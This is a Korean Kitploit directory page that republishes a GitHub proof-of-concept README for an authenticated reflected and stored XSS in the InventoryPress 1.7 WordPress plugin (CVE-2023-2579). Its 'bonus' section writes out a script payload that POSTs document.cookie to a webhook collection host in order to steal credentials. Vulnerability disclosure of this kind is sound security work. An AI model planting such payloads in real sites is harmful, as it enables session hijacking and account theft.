Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc-cve-xss-inventory-press-plugin — CVE-2023-2579용 PoC | Kitploit
도구/GitHubGitHub/0xn4d/poc-cve-xss-inventory-press-plugin
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHub0xn4d/poc-cve-xss-inventory-press-plugin

poc-cve-xss-inventory-press-plugin

CVE-2023-2579용 PoC

저장소 보기
123년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

업데이트 - 6-23-2023

CVE-2023-2579 ID가 예약되었으며 PoC가 WPScan 웹사이트에 게시되었습니다: https://wpscan.com/vulnerability/3cfcb8cc-9c4f-409c-934f-9f3f043de6fe

세부 정보

제목: WordPress CMS용 InventoryPress 플러그인의 인증된 반사형 사이트 간 스크립팅
날짜: 2023-04-21
작성자: Danilo Albuquerque
공급업체 홈페이지: https://wordpress.org
소프트웨어 링크: https://wordpress.org/download
버전: WordPress 6.2
플러그인 이름 및 버전: InventoryPress 1.7
테스트 환경: Brave (버전 1.50.119 Chromium: 112.0.5615.121 (공식 버전) 64비트)

InventoryPress 1.7의 반사형 XSS 취약점 PoC

  1. 재고에 항목을 추가할 수 있는 페이지로 이동합니다;
  2. 양식의 "설명" 입력란에 악성 페이로드를 추가합니다;
  3. 플러그인이 생성한 새 항목의 링크에 접속합니다;

위의 모든 단계를 수행하고 현재 페이지를 업데이트하면 메시지가 포함된 알림 팝업이 나타납니다.

아래 스크린샷

  1. 재고에 항목을 추가할 수 있는 페이지로 이동:
    image

  2. 양식의 "설명" 입력란에 악성 페이로드를 추가:
    image

플러그인이 생성한 새 항목의 링크에 접속:
image

  • 요청이 완료되면 알림 팝업이 표시됩니다:
    image

    • 보너스 - 저장형 XSS PoC

    1. 쿠키를 탈취하기 위해 "설명" 입력란에 다음 페이로드를 추가합니다: <script>fetch('https://webhooksite-to-get-the-request', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>. 그런 다음 새 항목을 게시하거나 기존 항목을 업데이트합니다;

    2. Webhook 사이트에서 트리거하여 자격 증명을 획득합니다

    3. 페이로드 추가 및 항목 게시 (또는 업데이트): image

    4. 트리거 및 자격 증명 획득: image

    도구 다운로드